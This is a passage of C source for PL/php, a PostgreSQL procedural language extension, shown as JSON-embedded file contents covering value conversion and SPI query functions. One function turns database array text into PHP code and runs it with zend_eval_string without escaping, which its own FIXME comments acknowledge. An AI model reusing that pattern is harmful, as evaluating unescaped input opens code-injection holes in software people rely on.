so first\n\t * save the error message and then bail out of the PHP block.  With luck,\n\t * this will be trapped by a zend_try/zend_catch block outwards in PL/php\n\t * code, which would translate it to a Postgres elog(ERROR), leaving\n\t * everything in a consistent state.\n\t *\n\t * For this to work, there must be a try/catch block covering every place\n\t * where PHP may raise an error!\n\t */\n\tif (elevel >= ERROR)\n\t{\n\t\tif (lineno != 0)\n\t\t{\n\t\t\tchar\tmsgline[1024];\n\t\t\tsnprintf(msgline, sizeof(msgline), \"%s at line %d\", str, lineno);\n\t\t\terror_msg = pstrdup(msgline);\n\t\t}\n\t\telse\n\t\t\terror_msg = pstrdup(str);\n\n\t\tzend_bailout();\n\t}\n\n\tereport(elevel,\n\t\t\t(errmsg(\"plphp: %s\", str)));\n}\n\n/* Check if the name can be a valid PHP variable name */\nstatic bool \nis_valid_php_identifier(char *name)\n{\n\tint \tlen,\n\t\t\ti;\n\t\n\tAssert(name);\n\n\tlen = strlen(name);\n\n\t/* Should start from the letter */\n\tif (!isalpha(name[0]))\n\t\treturn false;\n\tfor (i = 1; i < len; i++)\n\t{\n\t\t/* Only letters, digits and underscores are allowed */\n\t\tif (!isalpha(name[i]) && !isdigit(name[i]) && name[i] != '_')\n\t\t\treturn false;\n\t}\n\treturn true;\n}\n\n/*\n * vim:ts=4:sw=4:cino=(0\n */\n", "plphp_io.c": "/**********************************************************************\n * plphp_io.c\n *\n * Support functions for PL/php -- mainly functions to convert stuff\n * from the PHP representation to PostgreSQL representation and vice\n * versa, either text or binary representations.\n *\n * $Id$\n *\n **********************************************************************/\n\n#include \"postgres.h\"\n#include \"plphp_io.h\"\n\n#include \"catalog/pg_type.h\"\n#include \"executor/spi.h\"\n#include \"funcapi.h\"\n#include \"lib/stringinfo.h\"\n#include \"utils/lsyscache.h\"\n#include \"utils/rel.h\"\n#include \"utils/syscache.h\"\n#include \"utils/memutils.h\"\n\n/*\n * plphp_zval_from_tuple\n *\t\t Build a PHP hash from a tuple.\n */\nzval *\nplphp_zval_from_tuple(HeapTuple tuple, TupleDesc tupdesc)\n{\n\tint\t\t\ti;\n\tchar\t   *attname = NULL;\n\tzval\t   *array;\n\n\tMAKE_STD_ZVAL(array);\n\tarray_init(array);\n\n\tfor (i = 0; i < tupdesc->natts; i++)\n\t{\n\t\tchar *attdata;\n\n\t\t/* Get the attribute name */\n\t\tattname = tupdesc->attrs[i]->attname.data;\n\n\t\t/* and get its value */\n\t\tif ((attdata = SPI_getvalue(tuple, tupdesc, i + 1)) != NULL)\n\t\t{\n\t\t\t/* \"true\" means strdup the string */\n\t\t\tadd_assoc_string(array, attname, attdata, true);\n\t\t\tpfree(attdata);\n\t\t}\n\t\telse\n\t\t\tadd_assoc_null(array, attname);\n\t}\n\treturn array;\n}\n\n/*\n * plphp_htup_from_zval\n * \t\tBuild a HeapTuple from a zval (which must be an array) and a TupleDesc.\n *\n * The return HeapTuple is allocated in the current memory context and must\n * be freed by the caller.\n *\n * If zval doesn't contain any of the element names from the TupleDesc,\n * build a tuple from the first N elements. This allows us to accept\n * arrays in form array(1,2,3) as the result of functions with OUT arguments.\n * XXX -- possible optimization: keep the memory context created and only\n * reset it between calls.\n */\nHeapTuple\nplphp_htup_from_zval(zval *val, TupleDesc tupdesc)\n{\n\tMemoryContext\toldcxt;\n\tMemoryContext\ttmpcxt;\n\tHeapTuple\t\tret;\n\tAttInMetadata  *attinmeta;\n\tHashPosition\tpos;\n\tzval\t\t  **element;\n\tchar\t\t  **values;\n\tint\t\t\t\ti;\n\tbool\t\t\tallempty = true;\n\n\ttmpcxt = AllocSetContextCreate(TopTransactionContext,\n\t\t\t\t\t\t\t\t   \"htup_from_zval cxt\",\n\t\t\t\t\t\t\t\t   ALLOCSET_DEFAULT_MINSIZE,\n\t\t\t\t\t\t\t\t   ALLOCSET_DEFAULT_INITSIZE,\n\t\t\t\t\t\t\t\t   ALLOCSET_DEFAULT_MAXSIZE);\n\toldcxt = MemoryContextSwitchTo(tmpcxt);\n\n\tvalues = (char **) palloc(tupdesc->natts * sizeof(char *));\n\n\tfor (i = 0; i < tupdesc->natts; i++)\n\t{\n\t\tchar   *key = SPI_fname(tupdesc, i + 1);\n\t\tzval   *scalarval = plphp_array_get_elem(val, key);\n\n\t\tvalues[i] = plphp_zval_get_cstring(scalarval, true, true);\n\t\t/* \n\t\t * Reset the flag is even one of the keys actually exists,\n\t\t * even if it is NULL.\n\t\t */\n\t\tif (scalarval != NULL)\n\t\t\tallempty = false;\n\t}\n\t/* None of the names from the tuple exists,\n\t * try to get 1st N array elements and assign them to the tuple\n\t */\n\tif (allempty)\n\t\tfor (i = 0, \n\t\t\t zend_hash_internal_pointer_reset_ex(Z_ARRVAL_P(val), &pos);\n\t\t\t (zend_hash_get_current_data_ex(Z_ARRVAL_P(val), \n\t\t\t\t\t\t\t\t\t\t   (void **) &element,\n\t\t\t\t\t\t\t\t\t\t\t&pos) == SUCCESS) && \n\t\t\t(i < tupdesc->natts);\n\t\t\tzend_hash_move_forward_ex(Z_ARRVAL_P(val), &pos), i++)\n\t\t\tvalues[i] = plphp_zval_get_cstring(element[0], true, true);\n\n\tattinmeta = TupleDescGetAttInMetadata(tupdesc);\n\n\tMemoryContextSwitchTo(oldcxt);\n\tret = BuildTupleFromCStrings(attinmeta, values);\n\n\tMemoryContextDelete(tmpcxt);\n\n\treturn ret;\n}\n\n\n/* plphp_srf_htup_from_zval\n * \t\tBuild a tuple from a zval and a TupleDesc, for a SRF.\n *\n * Like above, but we don't use the names of the array attributes;\n * rather we build the tuple in order.  Also, we get a MemoryContext\n * from the caller and just clean it at return, rather than building it each\n * time.\n */\nHeapTuple\nplphp_srf_htup_from_zval(zval *val, AttInMetadata *attinmeta,\n\t\t\t\t\t\t MemoryContext cxt)\n{\n\tMemoryContext\toldcxt;\n\tHeapTuple\t\tret;\n\tHashPosition\tpos;\n\tchar\t\t  **values;\n\tzval\t\t  **element;\n\tint\t\t\t\ti = 0;\n\n\toldcxt = MemoryContextSwitchTo(cxt);\n\n\t/*\n\t * Use palloc0 to initialize values to NULL, just in case the user does\n\t * not pass all needed attributes\n\t */\n\tvalues = (char **) palloc0(attinmeta->tupdesc->natts * sizeof(char *));\n\n\t/*\n\t * If the input zval is an array, build a tuple using each element as an\n\t * attribute.  Exception: if the return tuple has a single element and\n\t * it's an array type, use the whole array as a single value.\n\t *\n\t * If the input zval is a scalar, use it as an element directly.\n\t */\n\tif (Z_TYPE_P(val) == IS_ARRAY)\n\t{\n\t\tif (attinmeta->tupdesc->natts == 1)\n\t\t{\n\t\t\t/* Is it an array? */\n\t\t\tif (attinmeta->tupdesc->attrs[0]->attndims != 0 ||\n\t\t\t\t!OidIsValid(get_element_type(attinmeta->tupdesc->attrs[0]->atttypid)))\n\t\t\t{\n\t\t\t\tzend_hash_internal_pointer_reset_ex(Z_ARRVAL_P(val), &pos);\n\t\t\t\tzend_hash_get_current_data_ex(Z_ARRVAL_P(val),\n\t\t\t\t\t\t\t\t\t\t\t  (void **) &element,\n\t\t\t\t\t\t\t\t\t\t\t  &pos);\n\t\t\t\tvalues[0] = plphp_zval_get_cstring(element[0], true, true);\n\t\t\t}\n\t\t\telse\n\t\t\t\tvalues[0] = plphp_zval_get_cstring(val, true, true);\n\t\t}\n\t\telse\n\t\t{\n\t\t\t/*\n\t\t\t * Ok, it's an array and the return tuple has more than one\n\t\t\t * attribute, so scan each array element.\n\t\t\t */\n\t\t\tfor (zend_hash_internal_pointer_reset_ex(Z_ARRVAL_P(val), &pos);\n\t\t\t\t zend_hash_get_current_data_ex(Z_ARRVAL_P(val),\n\t\t\t\t\t\t\t\t\t\t\t   (void **) &element,\n\t\t\t\t\t\t\t\t\t\t\t   &pos) == SUCCESS;\n\t\t\t\t zend_hash_move_forward_ex(Z_ARRVAL_P(val), &pos))\n\t\t\t{\n\t\t\t\t/* avoid overrunning the palloc'ed chunk */\n\t\t\t\tif (i >= attinmeta->tupdesc->natts)\n\t\t\t\t{\n\t\t\t\t\telog(WARNING, \"more elements in array than attributes in return type\");\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\n\t\t\t\tvalues[i++] = plphp_zval_get_cstring(element[0], true, true);\n\t\t\t}\n\t\t}\n\t}\n\telse\n\t{\n\t\t/* The passed zval is not an array -- use as the only attribute */\n\t\tif (attinmeta->tupdesc->natts != 1)\n\t\t\tereport(ERROR,\n\t\t\t\t\t(errmsg(\"returned array does not correspond to \"\n\t\t\t\t\t\t\t\"declared return value\")));\n\n\t\tvalues[0] = plphp_zval_get_cstring(val, true, true);\n\t}\n\n\tMemoryContextSwitchTo(oldcxt);\n\n\tret = BuildTupleFromCStrings(attinmeta, values);\n\n\tMemoryContextReset(cxt);\n\n\treturn ret;\n}\n\n/*\n * plphp_convert_to_pg_array\n * \t\tConvert a zval into a Postgres text array representation.\n *\n * The return value is palloc'ed in the current memory context and\n * must be freed by the caller.\n */\nchar *\nplphp_convert_to_pg_array(zval *array)\n{\n\tint\t\t\tarr_size;\n\tzval\t  **element;\n\tint\t\t\ti = 0;\n\tHashPosition \tpos;\n\tStringInfoData\tstr;\n\t\n\tinitStringInfo(&str);\n\n\tarr_size = zend_hash_num_elements(Z_ARRVAL_P(array));\n\n\tappendStringInfoChar(&str, '{');\n\tif (Z_TYPE_P(array) == IS_ARRAY)\n\t{\n\t\tfor (zend_hash_internal_pointer_reset_ex(Z_ARRVAL_P(array), &pos);\n\t\t\t zend_hash_get_current_data_ex(Z_ARRVAL_P(array),\n\t\t\t\t\t\t\t\t\t\t   (void **) &element,\n\t\t\t\t\t\t\t\t\t\t   &pos) == SUCCESS;\n\t\t\t zend_hash_move_forward_ex(Z_ARRVAL_P(array), &pos))\n\t\t{\n\t\t\tchar *tmp;\n\n\t\t\tswitch (Z_TYPE_P(element[0]))\n\t\t\t{\n\t\t\t\tcase IS_LONG:\n\t\t\t\t\tappendStringInfo(&str, \"%li\", element[0]->value.lval);\n\t\t\t\t\tbreak;\n\t\t\t\tcase IS_DOUBLE:\n\t\t\t\t\tappendStringInfo(&str, \"%f\", element[0]->value.dval);\n\t\t\t\t\tbreak;\n\t\t\t\tcase IS_STRING:\n\t\t\t\t\tappendStringInfo(&str, \"\\\"%s\\\"\", element[0]->value.str.val);\n\t\t\t\t\tbreak;\n\t\t\t\tcase IS_ARRAY:\n\t\t\t\t\ttmp = plphp_convert_to_pg_array(element[0]);\n\t\t\t\t\tappendStringInfo(&str, \"%s\", tmp);\n\t\t\t\t\tpfree(tmp);\n\t\t\t\t\tbreak;\n\t\t\t\tdefault:\n\t\t\t\t\telog(ERROR, \"unrecognized element type %d\",\n\t\t\t\t\t\t Z_TYPE_P(element[0]));\n\t\t\t}\n\n\t\t\tif (i != arr_size - 1)\n\t\t\t\tappendStringInfoChar(&str, ',');\n\t\t\ti++;\n\t\t}\n\t}\n\n\tappendStringInfoChar(&str, '}');\n\n\treturn str.data;\n}\n\n/*\n * plphp_convert_from_pg_array\n * \t\tConvert a Postgres text array representation to a PHP array\n * \t\t(zval type thing).\n *\n * FIXME -- does not work if there are embedded {'s in the input value.\n *\n * FIXME -- does not correctly quote/dequote the values\n */\nzval *\nplphp_convert_from_pg_array(char *input TSRMLS_DC)\n{\n\tzval\t   *retval = NULL;\n\tint\t\t\ti;\n\tStringInfoData str;\n\t\n\tinitStringInfo(&str);\n\n\tMAKE_STD_ZVAL(retval);\n\tarray_init(retval);\n\n\tfor (i = 0; i < strlen(input); i++)\n\t{\n\t\tif (input[i] == '{')\n\t\t\tappendStringInfoString(&str, \"array(\");\n\t\telse if (input[i] == '}')\n\t\t\tappendStringInfoChar(&str, ')');\n\t\telse\n\t\t\tappendStringInfoChar(&str, input[i]);\n\t}\n\tappendStringInfoChar(&str, ';');\n\n\tif (zend_eval_string(str.data, retval,\n\t\t\t\t\t\t \"plphp array input parameter\" TSRMLS_CC) == FAILURE)\n\t\telog(ERROR, \"plphp: convert to internal representation failure\");\n\n\tpfree(str.data);\n\n\treturn retval;\n}\n\n/*\n * plphp_array_get_elem\n * \t\tReturn a pointer to the array element with the given key\n */\nzval *\nplphp_array_get_elem(zval *array, char *key)\n{\n\tzval\t  **element;\n\n\tif (!array)\n\t\telog(ERROR, \"passed zval is not a valid pointer\");\n\tif (Z_TYPE_P(array) != IS_ARRAY)\n\t\telog(ERROR, \"passed zval is not an array\");\n\n\tif (zend_symtable_find(array->value.ht,\n\t\t\t\t\t   \t   key,\n\t\t\t\t\t       strlen(key) + 1,\n\t\t\t\t\t       (void **) &element) != SUCCESS)\n\t\treturn NULL;\n\n\treturn element[0];\n}\n\n/*\n * zval_get_cstring\n *\t\tGet a C-string representation of a zval.\n *\n * All return values, except those that are NULL, are palloc'ed in the current\n * memory context and must be freed by the caller.\n *\n * If the do_array parameter is false, then array values will not be converted\n * and an error will be raised instead.\n *\n * If the null_ok parameter is true, we will return NULL for a NULL zval.\n * Otherwise we raise an error.\n */\nchar *\nplphp_zval_get_cstring(zval *val, bool do_array, bool null_ok)\n{\n\tchar *ret;\n\n\tif (!val)\n\t{\n\t\tif (null_ok)\n\t\t\treturn NULL;\n\t\telse\n\t\t\telog(ERROR, \"invalid zval pointer\");\n\t}\n\n\tswitch (Z_TYPE_P(val))\n\t{\n\t\tcase IS_NULL:\n\t\t\treturn NULL;\n\t\tcase IS_LONG:\n\t\t\tret = palloc(64);\n\t\t\tsnprintf(ret, 64, \"%ld\", Z_LVAL_P(val));\n\t\t\tbreak;\n\t\tcase IS_DOUBLE:\n\t\t\tret = palloc(64);\n\t\t\tsnprintf(ret, 64, \"%f\", Z_DVAL_P(val));\n\t\t\tbreak;\n\t\tcase IS_BOOL:\n\t\t\tret = palloc(8);\n\t\t\tsnprintf(ret, 8, \"%s\", Z_BVAL_P(val) ? \"true\": \"false\");\n\t\t\tbreak;\n\t\tcase IS_STRING:\n\t\t\tret = palloc(Z_STRLEN_P(val) + 1);\n\t\t\tsnprintf(ret, Z_STRLEN_P(val) + 1, \"%s\", \n\t\t\t\t\t Z_STRVAL_P(val));\n\t\t\tbreak;\n\t\tcase IS_ARRAY:\n\t\t\tif (!do_array)\n\t\t\t\telog(ERROR, \"can't stringize array value\");\n\t\t\tret = plphp_convert_to_pg_array(val);\n\t\t\tbreak;\n\t\tdefault:\n\t\t\t/* keep compiler quiet */\n\t\t\tret = NULL;\n\t\t\telog(ERROR, \"can't stringize value of type %d\", val->type);\n\t}\n\n\treturn ret;\n}\n\n/*\n * plphp_build_tuple_argument\n *\n * Build a PHP array from all attributes of a given tuple\n */\nzval *\nplphp_build_tuple_argument(HeapTuple tuple, TupleDesc tupdesc)\n{\n\tint\t\t\ti;\n\tzval\t   *output;\n\tDatum\t\tattr;\n\tbool\t\tisnull;\n\tchar\t   *attname;\n\tchar\t   *outputstr;\n\tHeapTuple\ttypeTup;\n\tOid\t\t\ttypoutput;\n\tOid\t\t\ttypioparam;\n\n\tMAKE_STD_ZVAL(output);\n\tarray_init(output);\n\n\tfor (i = 0; i < tupdesc->natts; i++)\n\t{\n\t\t/* Ignore dropped attributes */\n\t\tif (tupdesc->attrs[i]->attisdropped)\n\t\t\tcontinue;\n\n\t\t/* Get the attribute name */\n\t\tattname = tupdesc->attrs[i]->attname.data;\n\n\t\t/* Get the attribute value */\n\t\tattr = heap_getattr(tuple, i + 1, tupdesc, &isnull);\n\n\t\t/* If it is null, set it to undef in the hash. */\n\t\tif (isnull)\n\t\t{\n\t\t\tadd_next_index_unset(output);\n\t\t\tcontinue;\n\t\t}\n\n\t\t/*\n\t\t * Lookup the attribute type in the syscache for the output function\n\t\t */\n\t\ttypeTup = SearchSysCache(TYPEOID,\n\t\t\t\t\t\t\t\t ObjectIdGetDatum(tupdesc->attrs[i]->atttypid),\n\t\t\t\t\t\t\t\t 0, 0, 0);\n\t\tif (!HeapTupleIsValid(typeTup))\n\t\t{\n\t\t\telog(ERROR, \"cache lookup failed for type %u\",\n\t\t\t\t tupdesc->attrs[i]->atttypid);\n\t\t}\n\n\t\ttypoutput = ((Form_pg_type) GETSTRUCT(typeTup))->typoutput;\n\t\ttypioparam = getTypeIOParam(typeTup);\n\t\tReleaseSysCache(typeTup);\n\n\t\t/* Append the attribute name and the value to the list. */\n\t\toutputstr =\n\t\t\tDatumGetCString(OidFunctionCall3(typoutput, attr,\n\t\t\t\t\t\t\t\t\t\t\t ObjectIdGetDatum(typioparam),\n\t\t\t\t\t\t\t\t\t\t\t Int32GetDatum(tupdesc->attrs[i]->atttypmod)));\n\t\tadd_assoc_string(output, attname, outputstr, 1);\n\t\tpfree(outputstr);\n\t}\n\n\treturn output;\n}\n\n/*\n * plphp_modify_tuple\n * \t\tReturn the modified NEW tuple, for use as return value in a BEFORE\n * \t\ttrigger.  outdata must point to the $_TD variable from the PHP\n * \t\tfunction.\n *\n * The tuple will be allocated in the current memory context and must be freed\n * by the caller.\n *\n * XXX Possible optimization: make this a global context that is not deleted,\n * but only reset each time this function is called.  (Think about triggers\n * calling other triggers though).\n */\nHeapTuple\nplphp_modify_tuple(zval *outdata, TriggerData *tdata)\n{\n\tTupleDesc\ttupdesc;\n\tHeapTuple\trettuple;\n\tzval\t   *newtup;\n\tzval\t  **element;\n\tchar\t  **vals;\n\tint\t\t\ti;\n\tAttInMetadata *attinmeta;\n\tMemoryContext tmpcxt,\n\t\t\t\t  oldcxt;\n\n\ttmpcxt = AllocSetContextCreate(CurTransactionContext,\n\t\t\t\t\t\t\t\t   \"PL/php NEW context\",\n\t\t\t\t\t\t\t\t   ALLOCSET_DEFAULT_MINSIZE,\n\t\t\t\t\t\t\t\t   ALLOCSET_DEFAULT_INITSIZE,\n\t\t\t\t\t\t\t\t   ALLOCSET_DEFAULT_MAXSIZE);\n\n\toldcxt = MemoryContextSwitchTo(tmpcxt);\n\n\t/* Fetch \"new\" from $_TD */\n\tif (zend_hash_find(outdata->value.ht,\n\t\t\t\t\t   \"new\", strlen(\"new\") + 1,\n\t\t\t\t\t   (void **) &element) != SUCCESS)\n\t\telog(ERROR, \"$_TD['new'] not found\");\n\n\tif (Z_TYPE_P(element[0]) != IS_ARRAY)\n\t\telog(ERROR, \"$_TD['new'] must be an array\");\n\tnewtup = element[0];\n\n\t/* Fetch the tupledesc and metadata */\n\ttupdesc = tdata->tg_relation->rd_att;\n\tattinmeta = TupleDescGetAttInMetadata(tupdesc);\n\n\ti = zend_hash_num_elements(Z_ARRVAL_P(newtup));\n\n\tif (tupdesc->natts > i)\n\t\tereport(ERROR,\n\t\t\t\t(errmsg(\"insufficient number of keys in $_TD['new']\"),\n\t\t\t\t errdetail(\"At least %d expected, %d found.\",\n\t\t\t\t\t\t   tupdesc->natts, i)));\n\n\tvals = (char **) palloc(tupdesc->natts * sizeof(char *));\n\n\t/*\n\t * For each attribute in the tupledesc, get its value from newtup and put\n\t * it in an array of cstrings.\n\t */\n\tfor (i = 0; i < tupdesc->natts; i++)\n\t{\n\t\tzval  **element;\n\t\tchar   *attname = NameStr(tupdesc->attrs[i]->attname);\n\n\t\t/* Fetch the attribute value from the zval */\n\t\tif (zend_symtable_find(newtup->value.ht, attname, strlen(attname) + 1,\n\t\t\t\t\t\t   \t   (void **) &element) != SUCCESS)\n\t\t\telog(ERROR, \"$_TD['new'] does not contain attribute \\\"%s\\\"\",\n\t\t\t\t attname);\n\n\t\tvals[i] = plphp_zval_get_cstring(element[0], true, true);\n\t}\n\n\t/* Return to the original context so that the new tuple will survive */\n\tMemoryContextSwitchTo(oldcxt);\n\n\t/* Build the tuple */\n\trettuple = BuildTupleFromCStrings(attinmeta, vals);\n\n\t/* Free the memory used */\n\tMemoryContextDelete(tmpcxt);\n\n\treturn rettuple;\n}\n\n/*\n * vim:ts=4:sw=4:cino=(0\n */\n", "plphp_spi.c": "/**********************************************************************\n * plphp_spi.c - SPI-related functions for PL/php.\n *\n * This software is copyright (c) Command Prompt Inc.\n *\n * The author hereby grants permission to use, copy, modify,\n * distribute, and license this software and its documentation for any\n * purpose, provided that existing copyright notices are retained in\n * all copies and that this notice is included verbatim in any\n * distributions. No written agreement, license, or royalty fee is\n * required for any of the authorized uses.  Modifications to this\n * software may be copyrighted by their author and need not follow the\n * licensing terms described here, provided that the new terms are\n * clearly indicated on the first page of each file where they apply.\n *\n * IN NO EVENT SHALL THE AUTHOR OR DISTRIBUTORS BE LIABLE TO ANY PARTY\n * FOR DIRECT, INDIRECT, SPECIAL, INCIDENTAL, OR CONSEQUENTIAL DAMAGES\n * ARISING OUT OF THE USE OF THIS SOFTWARE, ITS DOCUMENTATION, OR ANY\n * DERIVATIVES THEREOF, EVEN IF THE AUTHOR HAVE BEEN ADVISED OF THE\n * POSSIBILITY OF SUCH DAMAGE.\n *\n * THE AUTHOR AND DISTRIBUTORS SPECIFICALLY DISCLAIM ANY WARRANTIES,\n * INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF\n * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE, AND\n * NON-INFRINGEMENT.  THIS SOFTWARE IS PROVIDED ON AN \"AS IS\" BASIS,\n * AND THE AUTHOR AND DISTRIBUTORS HAVE NO OBLIGATION TO PROVIDE\n * MAINTENANCE, SUPPORT, UPDATES, ENHANCEMENTS, OR MODIFICATIONS.\n *\n * IDENTIFICATION\n *\t\t$Id$\n *********************************************************************\n */\n\n#include \"postgres.h\"\n#include \"plphp_spi.h\"\n#include \"plphp_io.h\"\n\n/* PHP stuff */\n#include \"php.h\"\n\n/* PostgreSQL stuff */\n#include \"access/xact.h\"\n#include \"miscadmin.h\"\n\n#undef DEBUG_PLPHP_MEMORY\n\n#ifdef DEBUG_PLPHP_MEMORY\n#define REPORT_PHP_MEMUSAGE(where) \\\n\telog(NOTICE, \"PHP mem usage: \u00ab%s\u00bb: %u\", where, AG(allocated_memory));\n#else\n#define REPORT_PHP_MEMUSAGE(a) \n#endif\n\n/* resource type Id for SPIresult */\nint SPIres_rtype;\n\n/* SPI function table */\nzend_function_entry spi_functions[] =\n{\n\tZEND_FE(spi_exec, NULL)\n\tZEND_FE(spi_fetch_row, NULL)\n\tZEND_FE(spi_processed, NULL)\n\tZEND_FE(spi_status, NULL)\n\tZEND_FE(spi_rewind, NULL)\n\tZEND_FE(pg_raise, NULL)\n\tZEND_FE(return_next, NULL)\n\t{NULL, NULL, NULL}\n};\n\n/* SRF support: */\nFunctionCallInfo current_fcinfo = NULL;\nTupleDesc current_tupledesc = NULL;\nAttInMetadata *current_attinmeta = NULL;\nMemoryContext current_memcxt = NULL;\nTuplestorestate *current_tuplestore = NULL;\n\n\n/* A symbol table to save for return_next for the RETURNS TABLE case */\nHashTable *saved_symbol_table;\n\nstatic zval *get_table_arguments(AttInMetadata *attinmeta);\n\n/*\n * spi_exec\n * \t\tPL/php equivalent to SPI_exec().\n *\n * This function creates and return a PHP resource which describes the result\n * of a user-specified query.  If the query returns tuples, it's possible to\n * retrieve them by using spi_fetch_row.\n *\n * Receives one or two arguments.  The mandatory first argument is the query\n * text.  The optional second argument is the tuple limit.\n *\n * Note that just like PL/Perl, we start a subtransaction before invoking the\n * SPI call, and automatically roll it back if the call fails.\n */\nZEND_FUNCTION(spi_exec)\n{\n\tchar\t   *query;\n\tint\t\t\tquery_len;\n\tlong\t\tstatus;\n\tlong\t\tlimit;\n\tphp_SPIresult *SPIres;\n\tint\t\t\tspi_id;\n\tMemoryContext oldcontext = CurrentMemoryContext;\n\tResourceOwner oldowner = CurrentResourceOwner;\n\n\tREPORT_PHP_MEMUSAGE(\"spi_exec called\");\n\n\tif ((ZEND_NUM_ARGS() > 2) || (ZEND_NUM_ARGS() < 1))\n\t\tWRONG_PARAM_COUNT;\n\n\t/* Parse arguments */\n\tif (ZEND_NUM_ARGS() == 2)\n\t{\n\t\tif (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, \"sl\",\n\t\t\t\t\t\t\t\t  &query, &query_len, &limit) == FAILURE)\n\t\t{\n\t\t\tzend_error(E_WARNING, \"Can not parse parameters in %s\",\n\t\t\t\t\t   get_active_function_name(TSRMLS_C));\n\t\t\tRETURN_FALSE;\n\t\t}\n\t}\n\telse if (ZEND_NUM_ARGS() == 1)\n\t{\n\t\tif (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, \"s\",\n\t\t\t\t\t\t\t\t  &query, &query_len) == FAILURE)\n\t\t{\n\t\t\tzend_error(E_WARNING, \"Can not parse parameters in %s\",\n\t\t\t\t\t   get_active_function_name(TSRMLS_C));\n\t\t\tRETURN_FALSE;\n\t\t}\n\t\tlimit = 0;\n\t}\n\telse\n\t{\n\t\tzend_error(E_WARNING, \"Incorrect number of parameters to %s\",\n\t\t\t\t   get_active_function_name(TSRMLS_C));\n\t\tRETURN_FALSE;\n\t}\n\n\tBeginInternalSubTransaction(NULL);\n\tMemoryContextSwitchTo(oldcontext);\n\n\t/* Call SPI */\n\tPG_TRY();\n\t{\n\t\tstatus = SPI_exec(query, limit);\n\n\t\tReleaseCurrentSubTransaction();\n\t\tMemoryContextSwitchTo(oldcontext);\n\t\tCurrentResourceOwner = oldowner;\n\n\t\t/*\n\t\t * AtEOSubXact_SPI() should not have popped any SPI context, but just\n\t\t * in case it did, make sure we remain connected.\n\t\t */\n\t\tSPI_restore_connection();\n\t}\n\tPG_CATCH();\n\t{\n\t\tErrorData\t*edata;\n\n\t\t/* Save error info */\n\t\tMemoryContextSwitchTo(oldcontext);\n\t\tedata = CopyErrorData();\n\t\tFlushErrorState();\n\n\t\t/* Abort the inner trasaction */\n\t\tRollbackAndReleaseCurrentSubTransaction();\n\t\tMemoryContextSwitchTo(oldcontext);\n\t\tCurrentResourceOwner = oldowner;\n\n\t\t/*\n\t\t * If AtEOSubXact_SPI() popped any SPI context of the subxact, it will\n\t\t * have left us in a disconnected state.  We need this hack to return\n\t\t * to connected state.\n\t\t */\n\t\tSPI_restore_connection();\n\n\t\t/* bail PHP out */\n\t\tzend_error(E_ERROR, \"%s\", strdup(edata->message));\n\n\t\t/* Can't get here, but keep compiler quiet */\n\t\treturn;\n\t}\n\tPG_END_TRY();\n\n\t/* This malloc'ed chunk is freed in php_SPIresult_destroy */\n\tSPIres = (php_SPIresult *) malloc(sizeof(php_SPIresult));\n\tif (!SPIres)\n\t\tereport(ERROR,\n\t\t\t\t(errcode(ERRCODE_OUT_OF_MEMORY),\n\t\t\t\t errmsg(\"out of memory\")));\n\n\t/* Prepare the return resource */\n\tSPIres->SPI_processed = SPI_processed;\n\tif (status == SPI_OK_SELECT)\n\t\tSPIres->SPI_tuptable = SPI_tuptable;\n\telse\n\t\tSPIres->SPI_tuptable = NULL;\n\tSPIres->current_row = 0;\n\tSPIres->status = status;\n\n\tREPORT_PHP_MEMUSAGE(\"spi_exec: creating resource\");\n\n\t/* Register the resource to PHP so it will be able to free it */\n\tspi_id = ZEND_REGISTER_RESOURCE(return_value, (void *) SPIres,\n\t\t\t\t\t \t\t\t\tSPIres_rtype);\n\n\tREPORT_PHP_MEMUSAGE(\"spi_exec: returning\");\n\n\tRETURN_RESOURCE(spi_id);\n}\n\n/*\n * spi_fetch_row\n * \t\tGrab a row from a SPI result (from spi_exec).\n *\n * This function receives a resource Id and returns a PHP hash representing the\n * next tuple in the result, or false if no tuples remain.\n *\n * XXX Apparently this is leaking memory.  How do we tell PHP to free the tuple\n * once the user is done with it?\n */\nZEND_FUNCTION(spi_fetch_row)\n{\n\tzval\t   *row = NULL;\n\tzval\t  **z_spi = NULL;\n\tphp_SPIresult\t*SPIres;\n\n\tREPORT_PHP_MEMUSAGE(\"spi_fetch_row: called\");\n\n\tif (ZEND_NUM_ARGS() != 1)\n\t\tWRONG_PARAM_COUNT;\n\n\tif (zend_get_parameters_ex(1, &z_spi) == FAILURE)\n\t{\n\t\tzend_error(E_WARNING, \"Can not parse parameters in %s\",\n\t\t\t\t   get_active_function_name(TSRMLS_C));\n\t\tRETURN_FALSE;\n\t}\n\tif (z_spi == NULL)\n\t{\n\t\tzend_error(E_WARNING, \"Could not get SPI resource in %s\",\n\t\t\t\t   get_active_function_name(TSRMLS_C));\n\t\tRETURN_FALSE;\n\t}\n\n\tZEND_FETCH_RESOURCE(SPIres, php_SPIresult *, z_spi, -1, \"SPI result\",\n\t\t\t\t\t\tSPIres_rtype);\n\n\tif (SPIres->status != SPI_OK_SELECT)\n\t{\n\t\tzend_error(E_WARNING, \"SPI status is not good\");\n\t\tRETURN_FALSE;\n\t}\n\n\tif (SPIres->current_row < SPIres->SPI_processed)\n\t{\n\t\trow = plphp_zval_from_tuple(SPIres->SPI_tuptable->vals[SPIres->current_row],\n\t\t\t  \t\t\t\t\t\tSPIres->SPI_tuptable->tupdesc);\n\t\tSPIres->current_row++;\n\n\t\t*return_value = *row;\n\n\t\tzval_copy_ctor(return_value);\n\t\tzval_dtor(row);\n\t\tFREE_ZVAL(row);\n\n\t}\n\telse\n\t\tRETURN_FALSE;\n\n\tREPORT_PHP_MEMUSAGE(\"spi_fetch_row: finish\");\n}\n\n/*\n * spi_processed\n * \t\tReturn the number of tuples returned in a spi_exec call.\n */\nZEND_FUNCTION(spi_processed)\n{\n\tzval\t   **z_spi = NULL;\n\tphp_SPIresult\t*SPIres;\n\n\tREPORT_PHP_MEMUSAGE(\"spi_processed: start\");\n\n\tif (ZEND_NUM_ARGS() != 1)\n\t\tWRONG_PARAM_COUNT;\n\n\tif (zend_get_parameters_ex(1, &z_spi) == FAILURE)\n\t{\n\t\tzend_error(E_WARNING, \"Cannot parse parameters in %s\",\n\t\t\t\t   get_active_function_name(TSRMLS_C));\n\t\tRETURN_FALSE;\n\t}\n\tif (z_spi == NULL)\n\t{\n\t\tzend_error(E_WARNING, \"Could not get SPI resource in %s\",\n\t\t\t\t   